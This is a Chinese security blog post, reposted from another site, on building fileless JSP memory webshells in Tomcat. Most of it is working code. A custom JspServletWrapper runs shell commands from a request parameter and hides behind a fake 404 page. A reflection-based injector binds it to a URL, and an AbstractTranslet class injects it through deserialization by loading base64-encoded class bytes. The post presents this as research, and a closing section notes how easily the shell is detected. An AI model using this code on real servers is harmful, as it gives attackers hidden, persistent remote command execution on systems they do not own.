浅析JSP型内存马

admin 2022年4月4日17:17:26评论117 views字数 7862阅读26分12秒阅读模式

前言

文章介绍了两种实现jsp型内存马内存驻留的思路:

  • 反射关闭development属性,即从开发模式转为生产模式

  • 修改Options对象的modificationTestInterval属性,即修改Tomcat检查JSP更新的时间间隔

这两种都是属于在开发模式下才需要进行的修改,生产环境对JSP的检查是通过checkInterval属性,不过由于一般遇到的都是开发模式,便不再深究。

从Servlet型获得jspServlet型

文章中介绍的思路总的来说都是通过中断tomcat对JSP的检查机制,防止初次加载后再产生编译文件,而初次加载的JSP文件会产生落地行为,因为JspServlet#serviceJspFile会通过查找JSP文件是否存在再装载wrapper

浅析JSP型内存马

然后处理JSP Servlet默认的JspServletWrapper类也会因为mustCompile初始值为true对JSP compile,这也是上文中师傅对后续JSP检查提出绕过的地方。

那么我们是否可以换一种思路,jsp也是一种特殊的servlet型,所以就用servlet那一套,先上一段servlet型内存马代码:

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();

Servlet servlet = new ServletTest(); // 继承Servlet类的子类
String name = servlet.getClass().getSimpleName();

org.apache.catalina.Wrapper newWrapper = context.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());

context.addChild(newWrapper);
context.addServletMappingDecoded("/cmd",name);
%>

可以看到基本逻辑是获取上下文对象StandardContext然后动态添加映射规则,因此猜测jsp是否也可以这样做?

激情动调一遍,可以在JspServlet#serviceJspFile方法中发现以下代码:

浅析JSP型内存马

既然我们的目标是不产生文件落地,那么就只需要关注红框代码就可以了,先从JspRuntimeContext中寻找访问地址对应的处理类(一般都是图中的JspServletWrapper类),然后跳过判断调用service方法。到这里已经和servlet很像了,所以自然而然地就会想到如果可以控制JspRuntimeContext中的内容是不是就可以实现无文件落地的效果,从上图可以发现JspRuntimeContext对象确实提供了addWrapper(String jspUri, JspServletWrapper jsw)方法,两个参数分别是访问地址和处理类。

至此编写思路就呼之欲出了,先定义一个继承JspServletWrapper类的子类,覆写service方法免于执行compile流程,接着控制JspRuntimeContext#addWrapper方法绑定映射规则:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
class MemJspServletWrapper extends JspServletWrapper {

public MemJspServletWrapper(ServletConfig config, Options options, JspRuntimeContext rctxt) {
super(config, options, "", rctxt); // jspUri随便取值
}

@Override
public void service(HttpServletRequest request, HttpServletResponse response, boolean precompile) throws ServletException, IOException, FileNotFoundException {
String cmd = request.getParameter("jspservlet");
if (cmd != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")){
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
} else {
// 伪造404页面
String msg = Localizer.getMessage("jsp.error.file.not.found", new Object[]{"/tyskill.jsp"});
response.sendError(404, msg);
}
}
}
%>
<%
//从request对象中获取request属性
Field _request = request.getClass().getDeclaredField("request");
_request.setAccessible(true);
Request __request = (Request) _request.get(request);
//获取MappingData
MappingData mappingData = __request.getMappingData();
//获取Wrapper
Field _wrapper = mappingData.getClass().getDeclaredField("wrapper");
_wrapper.setAccessible(true);
Wrapper __wrapper = (Wrapper) _wrapper.get(mappingData);
//获取jspServlet对象
Field _jspServlet = __wrapper.getClass().getDeclaredField("instance");
_jspServlet.setAccessible(true);
Servlet __jspServlet = (Servlet) _jspServlet.get(__wrapper);
// 获取ServletConfig对象
Field _servletConfig = __jspServlet.getClass().getDeclaredField("config");
_servletConfig.setAccessible(true);
ServletConfig __servletConfig = (ServletConfig) _servletConfig.get(__jspServlet);
//获取options中保存的对象
Field _option = __jspServlet.getClass().getDeclaredField("options");
_option.setAccessible(true);
EmbeddedServletOptions __option = (EmbeddedServletOptions) _option.get(__jspServlet);
// 获取JspRuntimeContext对象
Field _jspRuntimeContext = __jspServlet.getClass().getDeclaredField("rctxt");
_jspRuntimeContext.setAccessible(true);
JspRuntimeContext __jspRuntimeContext = (JspRuntimeContext) _jspRuntimeContext.get(__jspServlet);
JspServletWrapper memjsp = new MemJspServletWrapper(__servletConfig, __option, __jspRuntimeContext);

__jspRuntimeContext.addWrapper("/tyskill.jsp", memjsp);
%>

反序列化注入内存马

既然要无文件落地,肯定不能通过JSP来注入内存马,还是应该通过反序列化来注入,所以接下来就要解决request隐式对象的获取问题,不过进行一些尝试之后没办法从正常Servlet获得的Request对象来获取JspServlet对象,因此只能掏出https://github.com/c0ny1/java-object-searcher寻找类:

List<Keyword> keys = new ArrayList<>();
keys.add((new Keyword.Builder()).setField_type("JspServlet").build());
keys.add((new Keyword.Builder()).setField_type("JspRuntimeContext").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setIs_debug(true);
searcher.setMax_search_depth(50);
searcher.setReport_save_path("E:\tmp");
searcher.searchObject();

最后找到了两条可获取JspServlet的方法,挑一条编写,代码如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Container;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.jasper.EmbeddedServletOptions;
import org.apache.jasper.Options;
import org.apache.jasper.compiler.JspRuntimeContext;
import org.apache.jasper.servlet.JspServletWrapper;

import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import java.util.HashMap;

public class InjectToJspServlet extends AbstractTranslet {
private static final String jsppath = "/tyskill.jsp";

public InjectToJspServlet() {
try {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
StandardContext standardContext = (StandardContext) standardroot.getContext();
//从 StandardContext 基类 ContainerBase 中获取 children 属性
HashMap<String, Container> _children = (HashMap<String, Container>) getFieldValue(standardContext,
"children");
//获取 Wrapper
Wrapper _wrapper = (Wrapper) _children.get("jsp");
//获取jspServlet对象
Servlet _jspServlet = (Servlet) getFieldValue(_wrapper, "instance");
// 获取ServletConfig对象
ServletConfig _servletConfig = (ServletConfig) getFieldValue(_jspServlet, "config");
//获取options中保存的对象
EmbeddedServletOptions _option = (EmbeddedServletOptions) getFieldValue(_jspServlet, "options");
// 获取JspRuntimeContext对象
JspRuntimeContext _jspRuntimeContext = (JspRuntimeContext) getFieldValue(_jspServlet, "rctxt");

String clazzStr = "..."; // 上面代码中MemJspServletWrapper类字节码的base64编码字符串
byte[] classBytes = java.util.Base64.getDecoder().decode(clazzStr);

ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class,
int.class);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, classBytes, 0, classBytes.length);

JspServletWrapper memjsp = (JspServletWrapper) clazz.getDeclaredConstructor(ServletConfig.class, Options.class,
JspRuntimeContext.class).newInstance(_servletConfig, _option, _jspRuntimeContext);

_jspRuntimeContext.addWrapper(jsppath, memjsp);

} catch (Exception ignored) {}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

private static Object getFieldValue(Object obj, String fieldName) throws Exception {
java.lang.reflect.Field declaredField;
java.lang.Class clazz = obj.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(obj);
} catch (Exception ignored){}
clazz = clazz.getSuperclass();
}
return null;
}
}

总结

不足

  • 由于jsp的servlet处理类一般都是JspServletWrapper类,所以对于这种自己实现JspServletWrapper类的方法很容易就可以被查杀

  • 由于jsp的局限性,在MVC架构的背景下应用场景也不大

版本差异

tomcat7:<%@ page import="org.apache.tomcat.util.http.mapper.MappingData" %>
tomcat8/9:<%@ page import="org.apache.catalina.mapper.MappingData" %>

Java 安全群

浅析JSP型内存马

来源:https://xz.aliyun.com/t/11020


原文始发于微信公众号(安全帮Live):浅析JSP型内存马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月4日17:17:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅析JSP型内存马http://cn-sec.com/archives/867546.html

发表评论

匿名网友 填写信息